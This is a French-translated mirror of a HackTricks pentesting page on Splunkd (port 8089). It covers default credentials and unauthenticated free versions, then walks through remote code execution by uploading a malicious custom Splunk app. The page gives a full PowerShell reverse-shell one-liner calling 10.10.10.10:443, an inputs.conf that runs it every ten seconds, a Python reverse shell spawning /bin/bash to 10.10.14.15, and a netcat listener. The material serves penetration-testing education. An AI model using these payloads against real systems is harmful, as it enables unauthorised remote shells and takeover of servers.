Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/8089-splunkd.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

10 KiB
Raw Blame History

8089 - Test de pénétration de Splunkd

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Splunk est un outil d'analyse de journaux utilisé pour collecter, analyser et visualiser des données. Bien qu'il n'ait pas été initialement conçu pour être un outil SIEM, Splunk est souvent utilisé pour la surveillance de la sécurité et l'analyse commerciale. Les déploiements Splunk sont souvent utilisés pour stocker des données sensibles et pourraient fournir une mine d'informations pour un attaquant en cas de compromission.

Port par défaut : 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Le serveur web Splunk fonctionne par défaut sur le port 8000. {% endhint %}

Énumération

Version gratuite

La version d'essai de Splunk Enterprise se transforme en version gratuite après 60 jours, qui ne nécessite pas d'authentification. Il n'est pas rare que les administrateurs système installent une version d'essai de Splunk pour la tester, qui est ensuite oubliée. Cela se convertira automatiquement en version gratuite qui n'a aucune forme d'authentification, introduisant une faille de sécurité dans l'environnement. Certaines organisations peuvent opter pour la version gratuite en raison de contraintes budgétaires, sans comprendre pleinement les implications de l'absence de gestion des utilisateurs/roles.

Identifiants par défaut

Sur les anciennes versions de Splunk, les identifiants par défaut sont admin:changeme, qui sont commodément affichés sur la page de connexion.
Cependant, la dernière version de Splunk définit les identifiants pendant le processus d'installation. Si les identifiants par défaut ne fonctionnent pas, il vaut la peine de vérifier les mots de passe faibles courants tels que admin, Welcome, Welcome1, Password123, etc.

Obtenir des informations

Une fois connecté à Splunk, nous pouvons parcourir les données, exécuter des rapports, créer des tableaux de bord, installer des applications à partir de la bibliothèque Splunkbase et installer des applications personnalisées.
Vous pouvez également exécuter du code : Splunk a plusieurs façons d'exécuter du code, telles que des applications Django côté serveur, des points de terminaison REST, des entrées scriptées et des scripts d'alerte. Une méthode courante pour obtenir une exécution de code à distance sur un serveur Splunk est l'utilisation d'une entrée scriptée.

De plus, comme Splunk peut être installé sur des hôtes Windows ou Linux, des entrées scriptées peuvent être créées pour exécuter des scripts Bash, PowerShell ou Batch.

Shodan

  • Splunk build

RCE

Créer une application personnalisée

Une application personnalisée peut exécuter des scripts Python, Batch, Bash ou PowerShell.
Notez que Splunk est livré avec Python installé, donc même dans les systèmes Windows, vous pourrez exécuter du code python.

Vous pouvez utiliser ce package Splunk pour nous aider. Le répertoire bin dans ce dépôt contient des exemples pour Python et PowerShell. Marchons étape par étape.

Pour ce faire, nous devons d'abord créer une application Splunk personnalisée en utilisant la structure de répertoire suivante :

tree splunk_shell/

splunk_shell/
├── bin
└── default

Le répertoire bin contiendra tous les scripts que nous avons l'intention d'exécuter (dans ce cas, un shell inversé PowerShell), et le répertoire par défaut contiendra notre fichier inputs.conf. Notre shell inversé sera une commande PowerShell en une ligne :

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Le fichier inputs.conf indique à Splunk quel script exécuter et toutes autres conditions. Ici, nous activons l'application et indiquons à Splunk d'exécuter le script toutes les 10 secondes. L'intervalle est toujours en secondes, et l'entrée (script) ne s'exécutera que si ce paramètre est présent.

cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Nous avons besoin du fichier .bat, qui s'exécutera lors du déploiement de l'application et exécutera la commande PowerShell en une ligne.

La prochaine étape consiste à choisir Installer l'application à partir du fichier et à télécharger l'application.

Avant de télécharger l'application personnalisée malveillante, commençons par démarrer un écouteur en utilisant Netcat ou socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Sur la page Télécharger l'application, cliquez sur parcourir, choisissez le tarball que nous avons créé précédemment et cliquez sur Télécharger. Dès que nous téléchargeons l'application, un shell inversé est reçu et l'état de l'application sera automatiquement basculé sur Activé.

Linux

Si nous avions affaire à un hôte Linux, nous devrions modifier le script Python rev.py avant de créer le tarball et de télécharger l'application malveillante personnalisée. Le reste du processus serait identique et nous obtiendrions une connexion de shell inversé sur notre écouteur Netcat et nous serions prêts à partir.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Élévation de privilèges

Sur la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être utilisé de manière abusive pour élever les privilèges et obtenir une persistance :

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥